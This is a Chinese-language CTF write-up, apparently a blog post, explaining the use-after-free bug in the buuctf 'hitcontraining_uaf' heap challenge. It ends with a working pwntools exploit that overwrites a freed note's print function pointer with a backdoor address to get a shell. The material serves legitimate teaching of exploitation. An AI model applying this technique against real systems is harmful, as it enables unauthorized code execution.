hitcontraining_uaf

这周进行的学习主要还是对堆的一些学习吧,稍稍研究了一下uaf的机制,uaf找的题目是buuctf上的
hitcontraining_uaf
一道比较入门的堆的题目
Ida编译完后


 
按照这个大概是生成一个大小为8的内存,前面的位置放print的函数,后面的放存入的内容


 
然后在输出是自动输出print函数后四位的内容,也就是存放的内容


 
然后这个地方的free函数没有置零,也就是释放之后,放在tcathe再次被申请调用时就可以被修改
首先申请两个大小为48的大小的空间,分别放置内容aaaa和bbbb


 
然后内存里就变成了这样
其中0x804b198和0x804b1e8是print函数的位置,然后别的几个地方是存放的内容
然后进行free
 
然后用bins进行查询
 
被释放的部分按不同的大小放在tcache中

 

 然后堆里面的内容变成了这样


然后再申请一个大小为8的内存,此时会将bin中的内存取出来,然后填入magic(后门函数的地址),为了便于演示这里填入的是dddd
 
可以看到bins红大小为0x10的内存被调用,而我们输入的dddd会占据其中给我们存储内容的内存位置,然后还是前半部分是print函数的位置,后半部分仍是dddd,但是释放之前的内存位置都应该是print函数的位置,也就是其中调用print函数时会调用我们准备好的后门函数

 

 
可以看到其中的一部分原本的print函数被改成了64646464的ascall码,在后续的调用中执行print函数式就会执行后门函数
Wp
from pwn import*

r=remote('node4.buuoj.cn',26320)
#r=process('./hacknote')

def add(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.sendlineafter('Content :',content)

def delete(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))

def printf(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(shell_addr))
printf(0)

r.interactive()
 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值